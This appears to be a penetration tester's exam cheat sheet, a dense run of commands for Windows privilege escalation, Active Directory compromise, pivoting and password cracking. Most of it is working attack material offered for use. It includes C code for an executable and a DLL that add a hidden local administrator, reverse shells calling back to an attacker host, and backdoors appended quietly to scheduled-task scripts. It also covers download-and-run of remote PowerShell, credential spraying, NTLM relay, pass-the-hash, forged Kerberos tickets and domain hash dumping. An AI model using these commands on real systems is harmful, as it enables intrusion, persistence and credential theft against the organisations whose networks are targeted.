move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"iwr http://$LHOST:8000/svc.exe -OutFile "C:\path\to\service.exe"iwr http://$LHOST:8000/adduser.exe -OutFile "C:\path\to\service.exe"compile on kali with mingw — see foothold. Quieter than a shell, and the account survives a reboot
source
#include <stdlib.h>int main() { system("net user hacker Passw0rd! /add"); system("net localgroup administrators hacker /add"); return 0;}// x86_64-w64-mingw32-gcc adduser.c -o adduser.exeno rights to restart, but the service is set to start automatically, and you have SeShutdown? Reboot it
net stop <service> && net start <service>Restart-Service <service> -Forcesc stop <service> & sc start <service>whoami /priv | findstr SeShutdown && shutdown /r /t 0SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS means you repoint the service at anything you like
.\accesschk.exe /accepteula -ucqv <service>sc config <service> binpath= "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"sc config <service> obj= "LocalSystem" start= autopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-ServiceAbuse -Name '<service>' -Command 'net localgroup administrators hacker /add'"C:\Program Files\My App\svc.exe tries C:\Program.exe, then C:\Program Files\My.exe. Write your binary at the first one you have rights to
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v '"'powershell -ep bypass -c ". .\PowerUp.ps1; Get-UnquotedService"icacls "C:\Program Files\My App"iwr http://$LHOST:8000/adduser.exe -OutFile "C:\Program Files\My App\My.exe"a service that loads a dll out of a directory you can write to. Procmon finds the missing one if you have a desktop
dll source
#include <windows.h>#include <stdlib.h>BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) { if (reason == DLL_PROCESS_ATTACH) { system("cmd.exe /c net user hacker Passw0rd! /add"); system("cmd.exe /c net localgroup administrators hacker /add"); } return TRUE;}// x86_64-w64-mingw32-gcc evil.c --shared -o evil.dlltasks & autoruns [4]
Run As User is the line that matters, then icacls whatever Task To Run points at
schtasks /query /fo LIST /v | findstr /i "TaskName Author Run Task"Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,Stateschtasks /query /tn "<name>" /fo list /vicacls C:\path\to\script.ps1append rather than overwrite — the task still does its job and nobody notices
echo C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd >> C:\path\to\script.batAdd-Content C:\path\to\script.ps1 'Start-Process C:\Windows\Temp\nc.exe -ArgumentList "$LHOST $LPORT -e cmd"'reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runreg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOncepowershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableRegistryAutoRun"both keys set to 1 and any msi installs as SYSTEM. Rare, but it is two commands to check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedmsiexec /quiet /qn /i C:\Windows\Temp\evil.msiuse what you found [3]
a password is only useful if you can become that user. runas needs a desktop, so from a plain shell use RunasCs or come back in from kali
.\RunasCs.exe $USER2 $PASS2 cmd -r $LHOST:$LPORT.\RunasCs.exe $USER2 $PASS2 "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd" -d $DOMAINrunas /user:$DOMAIN\$USER2 cmdusually easier than anything on the box, and it gives you a high-integrity shell for free
evil-winrm -i $IP -u $USER2 -p $PASS2nxc smb $IP -u $USER2 -p $PASS2 --local-authimpacket-psexec "$USER2:$PASS2@$IP"xfreerdp /v:$IP /u:$USER2 /p:$PASS2 /cert:ignore /dynamic-resolutioncmdkey /listrunas /savecred /user:$DOMAIN\$ADMINU "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"patches & software [3]
last, not first. A kernel exploit can bluescreen the box, and a reverted exam box costs you half an hour
systeminfo > C:\Windows\Temp\sysinfo.mdpython3 wes.py --updatepython3 wes.py $WORKDIR/loot/sysinfo.md -i 'Elevation of Privilege' --exploits-onlywmic qfe get HotFixID,InstalledOn# PrintNightmare CVE-2021-34527 — spooler running and the 2021 patch missing# HiveNightmare CVE-2021-36934 — win10 1809+, check the SAM ACL below# potatoes — see privileges, far more reliable than eitherGet-Service Spoolericacls C:\Windows\System32\config\SAMwhatever is in Program Files that is not Microsoft. The box was usually built around one of them
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*","HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersion | where DisplayNamedir "C:\Program Files" "C:\Program Files (x86)"searchsploit <product>active directory
the 40-point set — 10 for each client, 20 for the DC, each scored on its own, starting from a username and password the control panel gives you. It is still one chain, where creds off one host open the next, so every new credential goes through "which creds work where" before you do anything else
get your bearings [4]
Kerberos will not work against a bare IP, so the FQDN goes into hosts before anything else
nxc smb $IPnmap -p 88,135,139,389,445,636,3268,5985 $IPecho "$IP $DC $DOMAIN" | sudo tee -a /etc/hostsKRB_AP_ERR_SKEW means you are more than five minutes off the DC. Take the time from the DC, not the internet
sudo timedatectl set-ntp offsudo ntpdate $DCthe single most useful command on the set. Run it the moment you land any credential, against every host you know. Pwn3d! means local admin
nxc smb $SUBNET -u $USER1 -p $PASS1nxc smb $SUBNET -u $USER1 -H $HASH1nxc winrm $SUBNET -u $USER1 -p $PASS1nxc rdp $SUBNET -u $USER1 -p $PASS1nxc mssql $SUBNET -u $USER1 -p $PASS1before any spray. Threshold 0 means spray freely. 3 or 5 means one password per round, and locking out the account you need is a bad hour
nxc smb $DC -u $USER1 -p $PASS1 --pass-polnet accounts /domainenumerate from kali [4]
rid brute through a guest or null session is usually the fastest route to a full user list
nxc smb $DC -u '' -p '' --usersnxc smb $DC -u guest -p '' --users --rid-brute 10000impacket-lookupsid guest@$DC -no-pass 10000 | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u >> $USERLISTkerbrute userenum -d $DOMAIN --dc $DC $SECLISTS/Usernames/xato-net-10-million-usernames.txtget-desc-users is worth running every time — people put passwords in the description field
nxc smb $DC -u $USER1 -p $PASS1 --users --groups --loggedon-users --sessions --pass-polnxc ldap $DC -u $USER1 -p $PASS1 -M get-desc-usersnxc ldap $DC -u $USER1 -p $PASS1 --password-not-required --admin-count --trusted-for-delegationimpacket-GetADUsers -all "$DOMAIN/$USER1:$PASS1" -dc-ip $DCldapdomaindump -u "$DOMAIN\\$USER1" -p "$PASS1" -o $WORKDIR/loot/ldap $DCnxc smb $DC -u $USER1 -p $PASS1 --users | awk '{print $5}' | grep -vE '^-?$' | sort -u >> $USERLISTsort -u -o $USERLIST $USERLIST && wc -l $USERLISTSYSVOL and NETLOGON are readable by every domain user and often hold scripts with passwords in them
nxc smb $SUBNET -u $USER1 -p $PASS1 --sharesnxc smb $DC -u $USER1 -p $PASS1 -M spider_plusfindstr /S /I cpassword \\$DC\sysvol\$DOMAIN\Policies\*.xmlnxc smb $DC -u $USER1 -p $PASS1 -M gpp_passwordbloodhound [6]
collect it as soon as you have one domain credential. It is the difference between guessing and knowing which box is next
bloodhound-python -d $DOMAIN -u $USER1 -p $PASS1 -dc $DC -ns $IP -c All --zipnxc ldap $DC -u $USER1 -p $PASS1 --bloodhound --collection All --dns-server $IPmark every user you own as Owned first — the "from Owned Principals" queries are useless without it
# Shortest Paths from Owned Principals# Shortest Paths to Domain Admins / to High Value Targets# Find Principals with DCSync Rights# List all Kerberoastable Accounts / AS-REP Roastable Users# click each owned user > Outbound Object Control — GenericAll, GenericWrite, WriteDacl, ForceChangePassword# click each owned user > Sessions — where else is this account logged inthe graph names an edge, that page gives you the command for it — every edge A to Z, with the creds from this panel already in them
open the bloodhound edge lookuponce per machine. Put it on 8088, not the default 8080, which is Burp's proxy — leave both on 8080 and whichever you start second cannot bind. The initial password is printed to the log the first time it comes up and nowhere else, so grab it before you clear the terminal
install
sudo apt update && sudo apt install -y docker.io docker-compose-pluginsudo systemctl enable --now dockersudo usermod -aG docker $USER # log out and back in for this to takemkdir -p ~/bloodhound && cd ~/bloodhoundcurl -L https://ghst.ly/getbhce -o docker-compose.ymlecho 'BLOODHOUND_PORT=8088' > .env # host side only — the container stays on 8080docker compose pull && docker compose up -ddocker compose port bloodhound 8080 # should say 127.0.0.1:8088docker compose logs bloodhound | grep -i "Initial Password"# http://localhost:8088/ui/login — admin + that password, then set your ownwriting the .env is not enough on its own — compose only re-reads the port when the container is recreated
move it
cd ~/bloodhoundecho 'BLOODHOUND_PORT=8088' > .envdocker compose up -d --force-recreatedocker compose port bloodhound 8080 # should say 127.0.0.1:8088# the graph is in a volume, so nothing you have collected is lostalready installed. It does not survive a reboot unless you bring it back yourself
start
cd ~/bloodhounddocker compose up -d && docker compose psdocker compose logs -f bloodhound # ctrl-c once it says it is serving# http://localhost:8088/ui/logindocker compose stop # done for the day, data stays putdocker compose down -v # wipe the graph and start cleanenumerate from a joined host [4]
net is on every windows box. PowerView needs loading first and gives you far more
net user /domainnet user $USER1 /domainnet group "Domain Admins" /domainnet group "Domain Computers" /domainnltest /dclist:$DOMAINpowershell -ep bypassImport-Module .\PowerView.ps1iex(New-Object Net.WebClient).DownloadString('http://$LHOST:8000/PowerView.ps1')Get-NetDomainGet-NetUser | select cn,description,pwdlastset,lastlogonGet-NetUser -SPN | select samaccountname,serviceprincipalnameGet-DomainUser -PreauthNotRequiredGet-NetGroupMember "Domain Admins"Get-NetComputer | select dnshostname,operatingsystemFind-LocalAdminAccess is the one to run. Every host where this user is already a local admin
Find-LocalAdminAccessGet-NetSession -ComputerName $DCGet-NetLoggedon -ComputerName $DCFind-DomainShare -CheckShareAccessget a credential [9]
accounts with pre-authentication disabled. No credential needed at all, just a user list
impacket-GetNPUsers "$DOMAIN/" -usersfile $USERLIST -format hashcat -dc-ip $DC -outputfile $WORKDIR/loot/asrep.mdnxc ldap $DC -u $USER1 -p $PASS1 --asreproast $WORKDIR/loot/asrep.mdhashcat -m 18200 $WORKDIR/loot/asrep.md $ROCKYOUany domain user can request these. Service accounts often have old, weak, never-expiring passwords
impacket-GetUserSPNs "$DOMAIN/$USER1:$PASS1" -dc-ip $DC -request -outputfile $WORKDIR/loot/roast.mdnxc ldap $DC -u $USER1 -p $PASS1 --kerberoasting $WORKDIR/loot/roast.mdhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOURubeus does both without kali seeing the DC. /nowrap so the hash copies in one piece. It is .NET, so evil-winrm's Invoke-Binary runs it without writing it to disk
.\Rubeus.exe kerberoast /nowrap /outfile:C:\Windows\Temp\roast.md.\Rubeus.exe asreproast /nowrap /format:hashcat /outfile:C:\Windows\Temp\asrep.md.\Rubeus.exe kerberoast /user:$USER2 /nowrapInvoke-Binary $WORKDIR/www/Rubeus.exe kerberoast# powerview, when Rubeus is caught:Invoke-Kerberoast -OutputFormat Hashcat | select -ExpandProperty Hashcheck the lockout policy first. One password against every user beats every password against one user
nxc smb $DC -u $USERLIST -p $PASS1 --continue-on-successnxc smb $DC -u $USERLIST -p $PASSLIST --no-bruteforce --continue-on-successkerbrute passwordspray -d $DOMAIN --dc $DC $USERLIST $PASS1when kali cannot see the DC yet. DomainPasswordSpray reads the lockout policy itself and stops short of it. Or get the tunnel up and use nxc, which is the same thing with better output
iex(iwr http://$LHOST:8000/DomainPasswordSpray.ps1 -UseBasicParsing); Invoke-DomainPasswordSpray -Password '$PASS1' -OutFile C:\Windows\Temp\sprayed.mdInvoke-DomainPasswordSpray -UserList C:\Windows\Temp\users.md -Password '$PASS1'net accounts /domainproxychains -q nxc smb $DC -u $USERLIST -p $PASS1 --continue-on-successpoisoning is banned on the exam, so -A keeps the poisoners off and only the servers up. Nothing arrives on its own then — the next card makes something connect. A captured NetNTLMv2 cracks but does not pass
sudo responder -I tun0 -Ahashcat -m 5600 $WORKDIR/loot/netntlmv2.md $ROCKYOUanywhere the box takes a path takes a UNC path. Whatever service account is behind the web app or the database is what authenticates to you, and that is usually the credential you were missing
# a file upload, a "fetch from url" field, a path in a form, an include:\\$LHOST\x\file.txt# from mssql, as any login at all:EXEC master..xp_dirtree '\\$LHOST\x'EXEC master..xp_fileexist '\\$LHOST\x'# a file dropped in a share people open — explorer fetches the icon, and authenticates to do it:printf '[InternetShortcut]\nURL=file://$LHOST/x\nIconFile=\\\\$LHOST\\x\\i.ico\nIconIndex=1\n' > $WORKDIR/www/@readme.urlprintf '[Shell]\nCommand=2\nIconFile=\\\\$LHOST\\x\\i.ico\n[Taskbar]\nCommand=ToggleDesktop\n' > $WORKDIR/www/@readme.scfa hash that will not crack still works once, live, against a host where that account is local admin and smb signing is off — never the DC, it signs. Relaying a connection the target made is not poisoning, but it is the grey edge of the rules, so keep the poisoners off and be ready to explain it
nxc smb $SUBNET --gen-relay-list $WORKDIR/relay.mdsudo impacket-ntlmrelayx -tf $WORKDIR/relay.md -smb2support --no-http-serversudo impacket-ntlmrelayx -t $IP2 -smb2support --no-http-server -c "powershell -nop -w hidden -enc <base64>"# responder cannot hold 445 at the same time: SMB = Off and HTTP = Off in /etc/responder/Responder.confa local admin anywhere gives you that machine's stored creds, and those creds are usually good somewhere else
nxc smb $IP -u $ADMINU -p $ADMINP --sam --lsanxc smb $SUBNET -u $ADMINU -H $ADMINH --sam --lsaimpacket-secretsdump "$DOMAIN/$ADMINU:$ADMINP@$IP"move sideways [6]
this is the whole set. A credential, then a host it works on, then that host's credentials, then the next host
psexec and wmiexec need local admin. wmiexec is quieter and does not drop a service
evil-winrm -i $IP -u $ADMINU -p $ADMINPevil-winrm -i $IP -u $ADMINU -H $ADMINHimpacket-psexec "$DOMAIN/$ADMINU:$ADMINP@$IP"impacket-wmiexec "$DOMAIN/$ADMINU:$ADMINP@$IP"impacket-smbexec "$DOMAIN/$ADMINU:$ADMINP@$IP"an NT hash goes everywhere a password does. The empty LM half before the colon is not a typo. rdp is the exception — it needs Restricted Admin mode on the target, which is one registry key a local admin can set over smb
impacket-psexec -hashes :$ADMINH "$DOMAIN/$ADMINU@$IP"impacket-wmiexec -hashes :$ADMINH "$DOMAIN/$ADMINU@$IP"nxc smb $IP -u $ADMINU -H $ADMINH -x whoamievil-winrm -i $IP -u $ADMINU -H $ADMINHnxc smb $IP -u $ADMINU -H $ADMINH -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'xfreerdp /v:$IP /u:$ADMINU /pth:$ADMINH /cert:ignore /dynamic-resolutionfor finding the one host that matters without shelling into each
nxc smb $SUBNET -u $ADMINU -p $ADMINP -x "whoami"nxc smb $SUBNET -u $ADMINU -p $ADMINP -X "Get-ChildItem C:\Users\*\Desktop"the inside boxes before the tunnel is up, with what the box already has. Every one of these needs local admin on the far end. Build $cred once. The two IP forms go over DCOM, so they need no TrustedHosts — but MMC20 runs as whoever you are, so start from a shell as that admin (RunasCs gets you one)
$pw = ConvertTo-SecureString '$ADMINP' -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('$DOMAIN\$ADMINU', $pw)winrs -r:$DC -u:$DOMAIN\$ADMINU -p:$ADMINP "cmd /c hostname & whoami"Invoke-Command -ComputerName $DC -Credential $cred -ScriptBlock { hostname; whoami }New-PSSession -ComputerName $DC -Credential $cred; Enter-PSSession 1$s = New-CimSession -ComputerName $IP2 -Credential $cred -SessionOption (New-CimSessionOption -Protocol DCOM); Invoke-CimMethod -CimSession $s -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='powershell -nop -w hidden -enc <base64>'}$m = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application.1","$IP2")); $m.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-nop -w hidden -enc <base64>","7").\PsExec64.exe -accepteula \\$DC -u $DOMAIN\$ADMINU -p $ADMINP -i cmdAUTH holds the .ccache path. Kerberos needs the FQDN, never the IP
export KRB5CCNAME=$ADMINAklistimpacket-psexec -k -no-pass "$DOMAIN/$ADMINU@$DC"nxc smb $DC -u $ADMINU --use-kcachecertipy find -vulnerable names the template and the attack. A certificate outlives a password reset
certipy find -u "$USER1@$DOMAIN" -p $PASS1 -dc-ip $DC -vulnerable -stdoutcertipy req -u "$USER1@$DOMAIN" -p $PASS1 -target $DC -ca CA-NAME -template Template -upn "$ADMINU@$DOMAIN"certipy auth -pfx administrator.pfx -dc-ip $DCtickets [6]
a hash or a password becomes a ticket, and a ticket goes where NTLM is blocked. SID is the domain SID from the panel. klist on windows and KRB5CCNAME on kali is where the current one lives
an NT hash into a TGT. On windows the new process holds the ticket — run everything kerberos from inside it
impacket-getTGT -hashes :$ADMINH "$DOMAIN/$ADMINU" -dc-ip $IP && export KRB5CCNAME=$ADMINU.ccacheimpacket-psexec -k -no-pass "$DOMAIN/$ADMINU@$DC".\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:$ADMINU /domain:$DOMAIN /ntlm:$ADMINH /run:powershell" exit.\Rubeus.exe asktgt /user:$ADMINU /rc4:$ADMINH /pttthe tickets already in memory on a box you own are other people's logons. List them, take the one with a name you want, inject it
.\Rubeus.exe triage.\Rubeus.exe dump /service:krbtgt /nowrap.\Rubeus.exe ptt /ticket:<base64>.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit.\mimikatz.exe "kerberos::ptt [0;3e4]-2-0-40e10000-Administrator@krbtgt-CORP.COM.kirbi" exitklistkirbi on windows, ccache on kali — convert, then point KRB5CCNAME at it. Kerberos wants the FQDN, never the IP, and evil-winrm's -r wants the realm in /etc/krb5.conf
impacket-ticketConverter ticket.kirbi ticket.ccacheimpacket-ticketConverter ticket.ccache ticket.kirbiexport KRB5CCNAME=$WORKDIR/loot/ticket.ccache; klistimpacket-psexec -k -no-pass "$DOMAIN/$ADMINU@$DC"nxc smb $DC --use-kcacheevil-winrm -i $DC -r $DOMAINthe NT hash of a service account forges a ticket for its service, as anyone at all, and the DC is never asked. HASH1 is the service account's hash, the user can be any name, and the SPN is the service — cifs for smb and psexec, http for winrm, mssqlsvc for sql
impacket-ticketer -nthash $HASH1 -domain-sid $SID -domain $DOMAIN -spn cifs/$DC Administratorexport KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass "$DOMAIN/Administrator@$DC".\mimikatz.exe "kerberos::golden /sid:$SID /domain:$DOMAIN /ptt /target:$DC /service:http /rc4:$HASH1 /user:$ADMINU" exitiwr -UseDefaultCredentials http://$DCthe krbtgt hash from dcsync forges a TGT for anyone, for ten years. It survives every password change and a revert of the DC, so it is also your way back in
impacket-ticketer -nthash <krbtgt hash> -domain-sid $SID -domain $DOMAIN Administratorexport KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass "$DOMAIN/Administrator@$DC".\mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$SID /krbtgt:<krbtgt hash> /ptt" exit.\PsExec64.exe \\$DC cmdthe domain SID is any user's SID minus the last block. Any domain account can read it
whoami /userGet-DomainSIDimpacket-lookupsid "$DOMAIN/$USER1:$PASS1@$DC" | grep 'Domain SID'nxc ldap $DC -u $USER1 -p $PASS1 --get-sidtake the domain [3]
needs replication rights — bloodhound's DCSync query tells you who has them. Domain admin always does
impacket-secretsdump "$DOMAIN/$ADMINU:$ADMINP@$DC" -just-dc-ntlmimpacket-secretsdump -hashes :$ADMINH "$DOMAIN/$ADMINU@$DC" -just-dcnxc smb $DC -u $ADMINU -p $ADMINP --ntds.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\krbtgt" exitwhen you are SYSTEM on the DC but have no replication rights. The file is locked, so it comes out of a shadow copy, and the SYSTEM hive comes with it or nothing decrypts. A Backup Operator does the same through diskshadow — see the privilege lookup
vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\system# or in one go:ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ntds" q q# back on kali:impacket-secretsdump -ntds ntds.dit -system system LOCALall three boxes need proof.txt. Take the screenshots as you go — people lose points by leaving it to the end
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigpivoting
a second interface on a box means a network behind it. Set SUBNET and PIVOT in the panel, pick one tunnel and stay with it, then IP2 is whichever inside box you are working
is there anything behind this box [3]
a second interface, or a route to something you have not scanned. That is the AD set on the exam
ip a; ip route; arp -a; cat /etc/hostsipconfig /all & route print & arp -abefore any tunnel — a sweep from the box itself needs nothing installed. The prefix comes off SUBNET, so this is a /24 sweep
net=$(echo $SUBNET | cut -d. -f1-3); for i in $(seq 1 254); do (ping -c1 -W1 $net.$i >/dev/null && echo "$net.$i up") & done; wait$n = ('$SUBNET' -split '\.')[0..2] -join '.'; 1..254 | % { if (Test-Connection -Count 1 -Quiet "$n.$_") { "$n.$_ up" } }for p in 21 22 25 80 139 445 1433 3306 3389 5985 8080; do (echo >/dev/tcp/$IP2/$p) 2>/dev/null && echo "$p open"; donefor p in $(seq 1 1000); do (echo >/dev/tcp/127.0.0.1/$p) >/dev/null 2>&1 && echo "$p open"; doneforeach ($p in 21,22,80,139,445,3389,5985) { if ((New-Object Net.Sockets.TcpClient).ConnectAsync("$IP2",$p).Wait(300)) { "$p open" } }ligolo-ng [9]
the one to reach for. It gives you a real interface, so every tool works unchanged — no proxychains, no -sT, and UDP and ICMP come along too. Two binaries, proxy on kali and agent on the box
the tun interface is yours, not the box's. Make it once and leave it up
sudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upip link show ligolo./proxy -selfcert -laddr 0.0.0.0:11601push the right binary over first — see file transfer. -ignore-cert pairs with -selfcert
./agent -connect $LHOST:11601 -ignore-cert.\agent.exe -connect $LHOST:11601 -ignore-certStart-Process -NoNewWindow .\agent.exe -ArgumentList "-connect $LHOST:11601 -ignore-cert"in the proxy console. session, pick the agent, start — then add the route on kali and the whole subnet is reachable
sessionifconfigstart# in another terminal on kali:sudo ip route add $SUBNET dev ligoloip route get $PIVOTnothing is wrapped. nmap does SYN scans, nxc works, evil-winrm works, rdp works. Sweep the subnet first, then put the box you pick in IP2
nmap -sn $SUBNET -oA $WORKDIR/scans/sweepnmap -sC -sV -oA $WORKDIR/scans/$IP2 $IP2nxc smb $SUBNET -u $USER1 -p $PASS1evil-winrm -i $IP2 -u $USER1 -p $PASS1xfreerdp /v:$IP2 /u:$USER1 /p:$PASS1 /cert:ignorea reverse shell from inside the subnet has no route back to tun0. A listener on the agent forwards it to you, so the inside box connects to PIVOT, not to LHOST
# in the proxy console, with the session selected:listener_add --addr 0.0.0.0:$LPORT --to 127.0.0.1:$LPORT --tcplistener_list# the inside box now connects to the pivot's own address on that port:bash -i >& /dev/tcp/$PIVOT/$LPORT 0>&1same again for http — the inside box pulls from the pivot, not from you
# proxy console:listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000 --tcp# on the inside box:iwr http://$PIVOT:8000/winPEASx64.exe -OutFile C:\Windows\Temp\w.execurl -sO http://$PIVOT:8000/linpeas.shthe second box cannot reach you on 11601 either — agent 2 connects to agent 1, which forwards it on. Then a second tun and route on kali, so the two chains do not collide
# proxy console, with session 1 selected — the agent port, forwarded like any other:listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp# on the second box, aimed at the first pivot's inside address:./agent -connect $PIVOT:11601 -ignore-cert# on kali — its own interface and route, then session > pick agent 2 > start --tun ligolo2sudo ip tuntap add user $(whoami) mode tun ligolo2 && sudo ip link set ligolo2 upsudo ip route add 172.16.6.0/24 dev ligolo2sudo ip route del $SUBNET dev ligolosudo ip link del ligolossh forwards [6]
no binary to upload. Needs ssh creds or a key, and the shape is easy to get backwards — L brings a remote port to you, R pushes a local port to them, D is a socks proxy
ssh -L 8080:127.0.0.1:80 $USER1@$IPssh -L 8080:$IP2:80 $USER1@$IPssh -N -f -L 3306:127.0.0.1:3306 $USER1@$IPfor a reverse shell from a third box that cannot reach you
ssh -R 9001:127.0.0.1:9001 $USER1@$IPssh -N -f -R 8000:127.0.0.1:8000 $USER1@$IPssh -D 1080 -N $USER1@$IPssh -D 1080 -N -i id_rsa $USER1@$IPfor when you cannot ssh in but the box can ssh out. Start sshd on kali, make a throwaway user, and the box pushes a socks proxy back to you. Needs OpenSSH 7.6 or newer on the box
sudo systemctl start ssh && sudo useradd -m -s /bin/bash tunnel && sudo passwd tunnelssh -N -R 1080 tunnel@$LHOST# on kali: socks5 127.0.0.1 1080 in proxychains4.conf, then proxychains as usualssh creds on the pivot and python on it is all it needs. Routes the whole subnet through the ssh session, so every tool works unchanged
sudo apt install -y sshuttlesshuttle -r $USER1@$IP $SUBNETsshuttle -r $USER1@$IP $SUBNET --ssh-cmd 'ssh -i id_rsa'plink.exe -ssh -l $USER1 -pw $PASS1 -R 9001:127.0.0.1:9001 $LHOSTcmd.exe /c echo y | plink.exe -ssh -l $USER1 -pw $PASS1 -N -D 1080 $LHOSTchisel [3]
when ligolo will not run but a single static binary will. Reverse is the one that matters — the box dials out to you
./chisel server -p 8000 --reverse./chisel client $LHOST:8000 R:1080:socks.\chisel.exe client $LHOST:8000 R:1080:socks./chisel server -p 8000./chisel client $LHOST:8000 8080:$IP2:80./chisel server -p 8000 --reverse./chisel client $LHOST:8000 R:3389:$IP2:3389proxychains [2]
what chisel and ssh -D need. TCP connect only, so nmap wants -sT -Pn and anything using raw sockets or UDP will not work
grep -vE '^#|^$' /etc/proxychains4.confecho 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf-q keeps the output readable. Slow — scan a port list, not a range
proxychains -q nmap -sT -Pn -n -p 21,22,80,139,445,1433,3389,5985 $IP2proxychains -q nxc smb $SUBNET -u $USER1 -p $PASS1proxychains -q impacket-psexec "$DOMAIN/$ADMINU:$ADMINP@$IP2"proxychains -q evil-winrm -i $IP2 -u $USER1 -p $PASS1proxychains -q xfreerdp /v:$IP2 /u:$USER1 /p:$PASS1 /cert:ignorewhen none of those will run [3]
netsh is on every windows box and needs admin. Open the firewall for the port or nothing reaches it
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=$IP2netsh interface portproxy show allnetsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=8080netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0socat TCP-LISTEN:8080,fork,reuseaddr TCP:$IP2:80 &dependency-free TCP forwarder — listens on 0.0.0.0:9898 and pipes to lport, for a box with no chisel and no ssh
python3 fwd.py -lport 8080python3 fwd.py -lhost 127.0.0.1 -lport 3306 -rport 13306toolbox
not a phase — the things you reach for at every phase
cracking [5]
a kali VM has no GPU, so hashcat inside it is cpu only. Copy the hash file out and crack on the host, and keep to best64 — rockyou with a big rule set is hours either way
hashid '<hash>'hash-identifier# 0 md5 100 sha1 1400 sha256 1800 sha512crypt 500 md5crypt# 1000 NTLM 3000 LM 5600 NetNTLMv2 13100 kerberoast 18200 AS-REP# 22000 WPA 13400 keepass 17200 zip 10000 django 3200 bcrypthashcat -m 1000 hashes.md $ROCKYOUhashcat -m 1000 hashes.md $ROCKYOU -r /usr/share/hashcat/rules/best64.rulejohn --wordlist=$ROCKYOU hashes.mdjohn --show hashes.mdzip2john secret.zip > zip.hashkeepass2john db.kdbx > kdbx.hashssh2john id_rsa > key.hashpdf2john file.pdf > pdf.hashoffice2john doc.docx > office.hashhashcat --stdout $PASSLIST -r /usr/share/hashcat/rules/best64.rule > mutated.mdjohn --wordlist=$PASSLIST --rules --stdout > mutated.mdfiles & forensics [6]
file suspiciousexiftool suspiciousstrings -n 8 suspicious | lessxxd suspicious | head -40binwalk -e suspicioussteghide info image.jpgsteghide extract -sf image.jpgzsteg -a image.pngstegseek image.jpg $ROCKYOU7z l archive.7z7z x archive.7zunzip -o archive.zipfcrackzip -u -D -p $ROCKYOU archive.ziptshark -r capture.pcap -q -z io.phstshark -r capture.pcap -Y http.request -T fields -e http.host -e http.request.uritcpflow -r capture.pcapecho 'aGVsbG8=' | base64 -decho '68656c6c6f' | xxd -r -pecho 'uryyb' | tr 'A-Za-z' 'N-ZA-Mn-za-m'python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" '%68i'checksec --file=./binaryobjdump -d ./binary | lessltrace ./binary; strace ./binarygdb -q ./binarytext wrangling [11]
everything above spits out a wall of text. This is how you get the three fields you wanted out of it and into a file the next tool can read
fastest thing that works when the delimiter is consistent. When it is not, reach for awk
cut -d: -f1 /etc/passwdcut -d: -f1,3,6 /etc/passwdcut -d, -f2 data.csvcut -c1-8 file.txtcut -d' ' -f2- file.txtwhitespace-separated by default, so it copes with the ragged spacing every tool's output has
awk '{print $1}' access.logawk '{print $NF}' file.txtawk -F: '$3 >= 1000 {print $1}' /etc/passwdawk '/admin/ {print $1, $7}' access.logawk 'NR>1 {print}' with-header.csvawk '!seen[$0]++' file.txt-i writes in place. Leave it off until the output on screen is what you want
sed 's/old/new/g' file.txtsed -i 's/old/new/g' file.txtsed -n '5,10p' file.txtsed '/^#/d; /^$/d' config.confsed -n 's/.*NTLM:\(.*\)/\1/p' hashes.mduniq only collapses adjacent lines, so it is always sort first
sort -u file.txt -o file.txtsort file.txt | uniq -c | sort -rn | head -20sort -t: -k3 -n /etc/passwdcomm -12 <(sort a.txt) <(sort b.txt)comm -23 <(sort a.txt) <(sort b.txt)-o with -E is the one to remember — it prints the match rather than the line it was on
